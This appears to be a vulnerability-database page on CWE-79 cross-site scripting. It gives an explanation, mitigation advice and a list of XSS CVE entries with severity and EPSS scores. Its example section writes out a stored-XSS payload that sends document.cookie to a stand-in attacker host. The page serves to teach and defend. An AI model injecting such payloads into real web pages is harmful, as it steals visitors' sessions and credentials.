Fallos del tipo CWE-79

30.244 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36215MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-50771MEDIUMCross Site Scripting vulnerability in Squirro Cognitive Search < 3.14.2 allows a remote attacker to execute arbtirary code via the Email NotEPSS 0.3%CVE-2026-52609MEDIUMA reflected cross-site scripting (XSS) vulnerability in reportico-web <= 8.1.0 allows remote attackers to execute arbitrary JavaScript in thEPSS 0.3%CVE-2024-36219MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2021-3030MEDIUMCute Editor for ASP.NET 6.4 is vulnerable to reflected cross-site scripting caused by improper validation of the Theme GET parameter in coloEPSS 0.3%CVE-2024-36229MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-36234MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-2577MEDIUMBitspecter Suite <= 1.0.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-36218MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-36227MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-13033MEDIUMcode-projects Chat System chatroom.php cross site scriptingEPSS 0.3%CVE-2026-62324MEDIUMJodit has incomplete javascript: scheme normalization in sanitizeHTMLElement href check that allows link XSSEPSS 0.3%CVE-2024-26018MEDIUMCross-site scripting vulnerability exists in TvRock 0.9t8a. An arbitrary script may be executed on the web browser of the user accessing theEPSS 0.3%CVE-2025-57764MEDIUMWeGIA Cross-Site Scripting (XSS) Reflected endpoint 'cargos.php' parameter 'msg_e'EPSS 0.3%CVE-2025-23866HIGHWordPress EU DSGVO Helper Plugin <= 1.0.6.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3389MEDIUMhailey888 oa_system Backend InformManageController.java testMess cross site scriptingEPSS 0.3%CVE-2024-37514MEDIUMWordPress CopySafe Web Protection plugin <= 3.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-36217MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-1703MEDIUMUltimate Blocks <= 3.2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via content ParameterEPSS 0.3%CVE-2025-23882HIGHWordPress WP Download Codes Plugin <= 2.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%